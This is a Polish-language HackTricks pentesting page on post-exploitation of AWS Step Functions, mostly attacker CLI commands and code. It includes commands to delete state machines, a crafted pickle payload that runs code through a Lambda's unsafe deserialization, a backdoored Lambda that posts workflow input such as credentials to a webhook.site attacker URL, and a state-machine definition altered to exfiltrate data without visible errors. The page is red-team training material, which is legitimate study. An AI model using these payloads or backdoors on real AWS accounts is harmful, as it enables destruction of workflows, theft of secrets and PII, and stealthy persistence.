AWS - Step Functions Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Step Functions

Po więcej informacji o tej usłudze AWS, zobacz:

AWS - Step Functions Enum

states:RevealSecrets

To uprawnienie pozwala ujawnić secret data inside an execution. W tym celu trzeba ustawić Inspection level na TRACE oraz parametr revealSecrets na true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Atakujący posiadający te uprawnienia będzie w stanie trwale usuwać state machines, ich versions oraz aliases. Może to zakłócić krytyczne workflowy, skutkować utratą danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych state machines. Ponadto pozwoli to atakującemu zamazać ślady, utrudnić dochodzenia kryminalistyczne oraz potencjalnie sparaliżować operacje przez usunięcie istotnych procesów automatyzacji i konfiguracji stanów.

Note

  • Deleting a state machine you also delete all its associated versions and aliases.
  • Deleting a state machine alias you do not delete the state machine versions referecing this alias.
  • It is not possible to delete a state machine version currently referenced by one o more aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potencjalny wpływ: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne.

states:UpdateMapRun

Atakujący z tym uprawnieniem mógłby modyfikować konfigurację obsługi błędów Map Run oraz ustawienie równoległości, zwiększając lub zmniejszając maksymalną dozwoloną liczbę uruchomień podrzędnych workflow, co bezpośrednio wpływa na wydajność usługi. Ponadto atakujący mógłby manipulować tolerowanym procentem i liczbą błędów, zmniejszając tę wartość do 0 — wówczas za każdym razem, gdy jakiś element zawiedzie, cały Map Run zakończy się niepowodzeniem, co bezpośrednio wpłynie na wykonanie state machine i potencjalnie zakłóci krytyczne przepływy pracy.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potencjalny wpływ: Pogorszenie wydajności oraz zakłócenie krytycznych przepływów pracy.

states:StopExecution

Atakujący posiadający to uprawnienie może zatrzymać wykonywanie dowolnego state machine, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, zatrzymania operacji biznesowych oraz potencjalnego uszkodzenia danych.

Warning

Ta akcja nie jest obsługiwana przez express state machines.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potencjalny wpływ: Zakłócenie trwających przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.

states:TagResource, states:UntagResource

Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potencjalny wpływ: Zakłócenie alokacji kosztów, śledzenia zasobów oraz polityk kontroli dostępu opartych na tagach.


states:StartExecution -> Wstrzyknięcie danych wejściowych do niebezpiecznych sinków

states:StartExecution jest punktem wejścia w warstwie danych. Jeśli state machine przekazuje kontrolowane przez atakującego dane wejściowe do zadania zawierającego niebezpieczny sink (na przykład Lambda wykonująca pickle.loads(base64.b64decode(payload_b64))), możesz czasami zamienić StartExecution w code execution i secret exfiltration poprzez wynik wykonania, bez żadnych uprawnień do aktualizacji state machine.

Odkryj workflow i wywoływaną Lambda

Jeśli masz states:List* / states:Describe*, możesz wyenumerować i odczytać definicję state machine:

REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text

Jeśli masz również lambda:GetFunction, możesz pobrać Lambda code bundle, aby zrozumieć, jak przetwarzane jest input (i potwierdzić, czy istnieje unsafe deserialization):

LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code

Przykład: crafted pickle w wejściu wykonania (Python)

Jeśli Lambda unpickles attacker-controlled data, złośliwy pickle może wykonać kod podczas deserializacji. Przykładowy payload, który oceni wyrażenie w Pythonie w środowisku wykonawczym Lambda:

PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text

Wpływ: Wszystkie uprawnienia, które posiada rola zadania (odczyty Secrets Manager, zapisy S3, odszyfrowania KMS itp.) mogą stać się osiągalne poprzez spreparowane dane wejściowe, a wynik może zostać zwrócony w wyjściu wykonania Step Functions.

states:UpdateStateMachine, lambda:UpdateFunctionCode

Atakujący, który przejmie użytkownika lub rolę z następującymi uprawnieniami:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

…może przeprowadzić high-impact and stealthy post-exploitation attack poprzez połączenie Lambda backdooring z manipulacją logiki Step Function.

Scenariusz zakłada, że ofiara używa AWS Step Functions to orchestrate workflows that process sensitive input, takich jak credentials, tokens lub PII.

Przykładowe wywołanie ofiary:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Jeśli Step Function jest skonfigurowana do wywoływania Lambda takiej jak LegitBusinessLogic, atakujący może przejść do dwóch ukrytych wariantów ataku:


Zaktualizowano funkcję Lambda

Atakujący modyfikuje kod funkcji Lambda już używanej przez Step Function (LegitBusinessLogic), aby potajemnie exfiltrate input data.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Dodaj złośliwy stan do Step Function

Alternatywnie, atakujący może wstrzyknąć exfiltration state na początku przepływu pracy poprzez aktualizację definicji Step Function.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Atakujący może jeszcze skuteczniej ukryć swoje działania, aktualizując definicję stanu do czegoś takiego { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } gdzie ofiara nie zauważy różnicy


Konfiguracja ofiary (Context for Exploit)

  • A Step Function (LegitStateMachine) jest używana do przetwarzania wrażliwych danych wejściowych użytkownika.
  • Wywołuje jedną lub więcej funkcji Lambda, takich jak LegitBusinessLogic.

Potencjalny wpływ:

  • Cicha exfiltration wrażliwych danych, w tym secrets, credentials, API keys i PII.
  • Brak widocznych błędów ani niepowodzeń w wykonaniu workflow.
  • Trudne do wykrycia bez audytu kodu Lambda lub śladów wykonania.
  • Umożliwia długoterminową obecność, jeśli backdoor pozostanie w kodzie lub logice ASL.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks